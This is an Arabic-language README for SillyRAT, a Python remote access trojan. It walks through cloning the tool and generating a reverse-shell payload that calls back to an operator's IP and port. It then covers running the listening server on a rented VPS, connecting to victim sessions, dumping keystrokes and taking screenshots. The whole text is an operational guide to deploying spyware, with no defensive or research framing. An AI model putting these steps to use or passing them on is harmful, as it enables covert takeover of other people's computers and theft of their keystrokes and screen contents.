
أداة RAT 🐀 (حصان طروادة للوصول عن بُعد) مبنية على بايثون للحصول على شل عكسي 🖥️

أداة تحكم عن بعد (RAT) عبر الأنظمة مكتوبة بلغة بايثون النقية. تقبل الأداة الأوامر مع وسائط إما للعمل كخادم يقبل الاتصالات أو للعمل كعميل/هدف ينشئ اتصالات بالخادم. يستخدم أمر generate الوحدة pyinstaller لتجميع كود الحمولة الفعلي. لذا، لتوليد ملف الحمولة للنظام الأساسي الخاص بك، يجب أن تكون على ذلك النظام أثناء توليد الملف. علاوة على ذلك، يمكنك الحصول على الملف المصدر مباشرة أيضًا.
تم اختبار الأداة على Parrot OS مع Python 3.8. اتبع الخطوات للتثبيت:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
يمكنك الحصول على ملف الحمولة بطريقتين:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
يجب توليد النسخة المُجمَّعة على المنصة الخاصة بها. على سبيل المثال، لا يمكنك توليد ملف .exe على لينكس. يجب أن تكون على ويندوز تحديدًا. الأداة لا تزال قيد الاختبار. لذا، جميع أنواع الأخطاء مقبولة. تأكد من فتح issue رغم ذلك. توليد النسخة المُجمَّعة للينكس:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

استبدل عنوان IP والمنفذ في الأوامر أعلاه.
يجب تشغيل الخادم على لينكس. يمكنك شراء VPS أو خادم سحابي للاتصالات. للتسجيل، لا يخزن الخادم أي جلسة من التشغيل السابق. لذا، سيتم فقدان كل التقدم بمجرد إنهاء تطبيق الخادم. تشغيل الخادم الخاص بك:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
سيتم سرد جميع الاتصالات تحت أمر sessions:
$ sessions

يمكنك الاتصال بجلسة الهدف باستخدام أمر connect وتشغيل أحد الأوامر المتاحة:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

احصل على قائمة بالأوامر المتاحة:
$ help
المساعدة في أمر محدد:
$ help COMMAND
تويتر: @hash3liZer
ديسكورد: TheFlash2k#0407